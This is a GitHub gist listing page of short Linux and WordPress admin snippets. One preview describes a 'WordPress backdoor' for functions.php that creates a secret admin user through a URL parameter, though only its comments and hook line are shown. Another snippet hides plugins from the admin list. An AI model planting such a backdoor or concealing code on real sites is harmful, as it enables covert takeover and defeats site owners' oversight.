Skip to content

Instantly share code, notes, and snippets.

View alainlankers's full-sized avatar

Alain Lankers alainlankers

View GitHub Profile
@alainlankers
alainlankers / gist:1eae7164717c348ecce7d560d917b6b6
Created June 10, 2022 10:12
Install software from source on Linux
./configure
make
make install
@alainlankers
alainlankers / functions.php
Created June 9, 2022 14:07
WordPress backdoor
//WordPress backdoor for educational purpose
// Add to functions.php
// Go to /yoursite/?backdoor=go
// adds secret admin user to the database
// Go to /yoursite/?backdoor=leave
// removes secret admin user from the database
// Alt entr
add_action( 'wp_head', 'my_backdoor' );
@alainlankers
alainlankers / gist:1f1dd0adf7152ce4ecbe856dafb124a0
Last active June 17, 2022 11:39
WordPress installation on Debian 11
sudo mkdir /var/www/html/wordpress
download WordPress and copy files to this folder
touch /etc/apache2/sites-available/wordpress.conf
add these lines:
<VirtualHost *:80>
DocumentRoot /var/www/html/wordpress
<Directory /var/www/html/wordpress>
Options FollowSymLinks
sudo apt install rfkill -y
sudo rfkill
sudo systemctl status Bluetooth
sudo /etc/init.d/bluetooth start
hcitool scan
sudo apt install bluez
bluetoothctl
sudo apt install blueman
blueman --help
@alainlankers
alainlankers / gist:731c28471437beaa0024d60f4563e5a3
Created June 3, 2022 08:35
Install wifi (Intel) on Debian
apt update && apt install firmware-iwlwifi
@alainlankers
alainlankers / gist:3bdef5a94e79012fc12cc3142ff87253
Created June 2, 2022 13:13
Install AMD video drivers in Linux
sudo apt install xserver-xorg-video-amdgpu
sudo apt install ricks-amdgpu-utils
@alainlankers
alainlankers / functions.php
Created May 23, 2022 12:35
Hide plugin from admin
add_filter( 'all_plugins', 'hide_plugins');
function hide_plugins($plugins)
{
// Hide WordPress SEO by Yoast Plugin
if(is_plugin_active('wordpress-seo/wp-seo.php')) {
unset( $plugins['wordpress-seo/wp-seo.php'] );
}
// Hide Akismet Plugin
if(is_plugin_active('akismet/akismet.php')) {
unset( $plugins['akismet/akismet.php'] );
@alainlankers
alainlankers / functions.php
Created May 14, 2022 14:52
Disable pingbacks
function stop_pings ($vectors) {
unset( $vectors['pingback.ping'] );
return $vectors;
}
add_filter( 'xmlrpc_methods', ‘stop_pings');
/**
* Redirect to the homepage all users trying to access feeds.
*/
function disable_feeds() {
wp_redirect( home_url() );
die;
}
// Disable global RSS, RDF & Atom feeds.
@alainlankers
alainlankers / functions.php
Created May 14, 2022 14:51
Disable WordPress REST API
function remove_json_api () {
// Remove the REST API lines from the HTML Header
remove_action( 'wp_head', 'rest_output_link_wp_head', 10 );
remove_action( 'wp_head', 'wp_oembed_add_discovery_links', 10 );
// Remove the REST API endpoint.
remove_action( 'rest_api_init', 'wp_oembed_register_route' );
// Turn off oEmbed auto discovery.